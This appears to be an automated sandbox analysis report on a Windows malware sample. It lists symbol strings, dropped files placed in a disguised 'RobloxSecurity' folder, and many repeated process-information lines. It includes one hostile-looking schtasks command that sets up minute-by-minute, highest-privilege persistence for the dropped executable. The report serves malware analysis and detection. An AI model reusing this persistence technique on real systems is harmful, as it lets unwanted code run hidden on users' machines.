Source:	Binary string: winload_prod.pdbWINLOA~1.PDBWINLOA~1.PDB source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*0 source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1851434800.0000022BB817C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Management.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Drawing.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2E source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\Boss\Desktop\Laps\Laps\obj\Release\Laps.pdb source: jqOHOuPMJP.exe
Source:	Binary string: System.Management.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Core.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831o source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1851434800.0000022BB817C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831n source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1851434800.0000022BB817C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbR source: vkefq4cv.oil.exe, 00000012.00000002.2076526524.0000010DEFD0C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: ntkrnlmp.pdbl source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdbRSDS source: WERCB81.tmp.dmp.41.dr

Source: jqOHOuPMJP.exe

Static PE information: 0x8F4114C5 [Wed Feb 28 05:04:05 2046 UTC]

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Code function: 0_2_067EE438 pushad ; iretd	0_2_067EE445
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Code function: 0_2_067E648F push es; ret	0_2_067E6490
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Code function: 0_2_067E6592 push esp; ret	0_2_067E6599
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Code function: 0_2_067E7162 push eax; retf	0_2_067E7169
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04F5632D push eax; ret	1_2_04F56341
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04F53A9B push ebx; retf	1_2_04F53ADA

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	File created: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	File created: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
